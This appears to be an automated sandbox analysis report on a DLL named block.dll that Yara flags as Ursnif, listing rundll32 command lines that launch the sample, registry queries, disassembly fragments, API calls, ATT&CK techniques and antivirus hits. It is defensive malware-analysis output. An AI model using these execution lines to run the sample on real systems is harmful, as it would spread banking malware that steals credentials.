Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\block.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\block.dll,Pape1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\block.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\block.dll,Riverslow
Source: unknown	Process created: C:\Program Files\internet explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5856 CREDAT:17410 /prefetch:2
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5856 CREDAT:17414 /prefetch:2
Source: unknown	Process created: C:\Program Files\internet explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5708 CREDAT:17410 /prefetch:2
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5708 CREDAT:17414 /prefetch:2
Source: unknown	Process created: C:\Program Files\internet explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6616 CREDAT:17410 /prefetch:2
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6616 CREDAT:17414 /prefetch:2
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\block.dll',#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\block.dll,Pape1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\block.dll,Riverslow	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\block.dll',#1	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5856 CREDAT:17410 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5856 CREDAT:17414 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5708 CREDAT:17410 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5708 CREDAT:17414 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6616 CREDAT:17410 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6616 CREDAT:17414 /prefetch:2	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File opened: C:\Program Files (x86)\Java\jre1.8.0_211\bin\msvcr100.dll

Jump to behavior

Source: block.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: block.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: block.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: block.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: block.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: block.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: block.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Binary string: c:\Whether\class\156\Through\How.pdb source: block.dll

Source: C:\Windows\System32\loaddll32.exe

Code function: 1_2_6DD31F31 LoadLibraryA,GetProcAddress,

1_2_6DD31F31

Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6DD32253 push ecx; ret	1_2_6DD32263
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6DD32200 push ecx; ret	1_2_6DD32209
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6DD64475 push ecx; ret	1_2_6DD64488
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6DD4446A push esi; ret	1_2_6DD4446B
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6DD42403 push ebp; retf	1_2_6DD4244E
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6DD4243F push ebp; retf	1_2_6DD4244E
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6DD4677F push esi; iretd	1_2_6DD4678A
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6DD3FE6C push ebx; retf	1_2_6DD3FE6D
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6DD45B7B push eax; ret	1_2_6DD45B7C
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6DD4633B push edx; retf	1_2_6DD46345
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6DD7E175 push ds; iretd	1_2_6DD7E179
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6DD7D33E push dword ptr [ecx+4BFFD4DAh]; retf	1_2_6DD7D348
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_033DB163 push edx; iretd	4_2_033DB164
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_033D7F97 push ecx; ret	4_2_033D7FA7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_033D7C20 push ecx; ret	4_2_033D7C29
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_033DB67C push ss; retf	4_2_033DB690
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6DD64475 push ecx; ret	4_2_6DD64488
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6DD4446A push esi; ret	4_2_6DD4446B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6DD42403 push ebp; retf	4_2_6DD4244E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6DD4243F push ebp; retf	4_2_6DD4244E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6DD4677F push esi; iretd	4_2_6DD4678A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6DD3FE6C push ebx; retf	4_2_6DD3FE6D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6DD45B7B push eax; ret	4_2_6DD45B7C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6DD4633B push edx; retf	4_2_6DD46345
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6DD7E175 push ds; iretd	4_2_6DD7E179
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6DD7D33E push dword ptr [ecx+4BFFD4DAh]; retf	4_2_6DD7D348

Hooking and other Techniques for Hiding and Protection:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000001.00000003.299036321.0000000001670000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.294762520.0000000004D50000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.286919905.0000000003050000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.285453583.0000000003F50000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 1.3.loaddll32.exe.1678d29.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.rundll32.exe.3058d29.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.6dd30000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.loaddll32.exe.6dd30000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.rundll32.exe.3f58d29.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.rundll32.exe.4d58d29.0.raw.unpack, type: UNPACKEDPE

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000004.00000003.353402660.0000000005A48000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.353461083.0000000005A48000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.352720988.0000000003D28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.352839215.0000000003D28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.352637772.0000000003D28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.353493626.0000000005A48000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.353527674.0000000005A48000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.353601646.0000000005A48000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.353567176.0000000005A48000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.352699094.0000000003D28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.352816951.0000000003D28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.352743659.0000000003D28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.353611757.0000000005A48000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.352664971.0000000003D28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.352761373.0000000003D28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.353343104.0000000005A48000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 5720, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 5752, type: MEMORY

Source: C:\Windows\System32\loaddll32.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Last function: Thread delayed

Source: C:\Windows\SysWOW64\rundll32.exe

4_2_033D4E9C

Source: C:\Windows\System32\loaddll32.exe

Code function: 1_2_6DD31F31 LoadLibraryA,GetProcAddress,

1_2_6DD31F31

Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6DD7BFB5 mov eax, dword ptr fs:[00000030h]	1_2_6DD7BFB5
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6DD7BAF2 push dword ptr fs:[00000030h]	1_2_6DD7BAF2
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6DD7BEEB mov eax, dword ptr fs:[00000030h]	1_2_6DD7BEEB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6DD7BFB5 mov eax, dword ptr fs:[00000030h]	4_2_6DD7BFB5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6DD7BAF2 push dword ptr fs:[00000030h]	4_2_6DD7BAF2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6DD7BEEB mov eax, dword ptr fs:[00000030h]	4_2_6DD7BEEB

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\block.dll',#1

Jump to behavior

Source: loaddll32.exe, 00000001.00000002.504472454.0000000001AA0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.504863861.00000000035F0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: loaddll32.exe, 00000001.00000002.504472454.0000000001AA0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.504863861.00000000035F0000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: loaddll32.exe, 00000001.00000002.504472454.0000000001AA0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.504863861.00000000035F0000.00000002.00000001.sdmp	Binary or memory string: SProgram Managerl
Source: loaddll32.exe, 00000001.00000002.504472454.0000000001AA0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.504863861.00000000035F0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd,
Source: loaddll32.exe, 00000001.00000002.504472454.0000000001AA0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.504863861.00000000035F0000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_033D3946 cpuid

4_2_033D3946

Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoA,GetSystemDefaultUILanguage,VerLanguageNameA,	1_2_6DD31566
Source: C:\Windows\System32\loaddll32.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	1_2_6DD6F574
Source: C:\Windows\System32\loaddll32.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	1_2_6DD75C41
Source: C:\Windows\System32\loaddll32.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,	1_2_6DD70133
Source: C:\Windows\System32\loaddll32.exe	Code function: __calloc_crt,__malloc_crt,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,	1_2_6DD6FBE2
Source: C:\Windows\System32\loaddll32.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,__invoke_watson,___crtGetLocaleInfoW,	1_2_6DD6D27D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	4_2_6DD6F574
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	4_2_6DD75C41
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,	4_2_6DD70133
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: __calloc_crt,__malloc_crt,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,	4_2_6DD6FBE2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,__invoke_watson,___crtGetLocaleInfoW,	4_2_6DD6D27D

Source: C:\Windows\System32\loaddll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Code function: 1_2_6DD31979 GetSystemTimeAsFileTime,_aulldiv,_snwprintf,CreateFileMappingW,GetLastError,GetLastError,MapViewOfFile,GetLastError,CloseHandle,GetLastError,

1_2_6DD31979

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_033D3946 wsprintfA,RtlAllocateHeap,GetUserNameW,RtlAllocateHeap,GetUserNameW,HeapFree,GetComputerNameW,GetComputerNameW,RtlAllocateHeap,GetComputerNameW,HeapFree,

4_2_033D3946

Source: C:\Windows\System32\loaddll32.exe

Code function: 1_2_6DD3146C CreateEventA,GetVersion,GetCurrentProcessId,OpenProcess,GetLastError,

1_2_6DD3146C

Source: C:\Windows\System32\loaddll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000001.00000003.299036321.0000000001670000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.294762520.0000000004D50000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.286919905.0000000003050000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.285453583.0000000003F50000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 1.3.loaddll32.exe.1678d29.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.rundll32.exe.3058d29.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.6dd30000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.loaddll32.exe.6dd30000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.rundll32.exe.3f58d29.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.rundll32.exe.4d58d29.0.raw.unpack, type: UNPACKEDPE

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000004.00000003.353402660.0000000005A48000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.353461083.0000000005A48000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.352720988.0000000003D28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.352839215.0000000003D28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.352637772.0000000003D28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.353493626.0000000005A48000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.353527674.0000000005A48000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.353601646.0000000005A48000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.353567176.0000000005A48000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.352699094.0000000003D28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.352816951.0000000003D28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.352743659.0000000003D28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.353611757.0000000005A48000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.352664971.0000000003D28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.352761373.0000000003D28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.353343104.0000000005A48000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 5720, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 5752, type: MEMORY

Remote Access Functionality:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000001.00000003.299036321.0000000001670000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.294762520.0000000004D50000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.286919905.0000000003050000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.285453583.0000000003F50000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 1.3.loaddll32.exe.1678d29.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.rundll32.exe.3058d29.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.6dd30000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.loaddll32.exe.6dd30000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.rundll32.exe.3f58d29.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.rundll32.exe.4d58d29.0.raw.unpack, type: UNPACKEDPE

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000004.00000003.353402660.0000000005A48000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.353461083.0000000005A48000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.352720988.0000000003D28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.352839215.0000000003D28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.352637772.0000000003D28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.353493626.0000000005A48000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.353527674.0000000005A48000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.353601646.0000000005A48000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.353567176.0000000005A48000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.352699094.0000000003D28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.352816951.0000000003D28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.352743659.0000000003D28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.353611757.0000000005A48000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.352664971.0000000003D28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.352761373.0000000003D28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.353343104.0000000005A48000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 5720, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 5752, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation2	Path Interception	Process Injection12	Masquerading1	OS Credential Dumping	System Time Discovery1	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Encrypted Channel2	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Data Encrypted for Impact1
Default Accounts	Native API1	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Process Injection12	LSASS Memory	Query Registry1	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Ingress Tool Transfer3	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information1	Security Account Manager	Process Discovery2	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Rundll321	NTDS	Account Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol3	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	System Owner/User Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	File and Directory Discovery2	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	System Information Discovery34	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
4.2.rundll32.exe.33d0000.1.unpack	100%	Avira	HEUR/AGEN.1108168		Download File
1.2.loaddll32.exe.12e0000.0.unpack	100%	Avira	HEUR/AGEN.1108168		Download File

Domains

No Antivirus matches

URLs

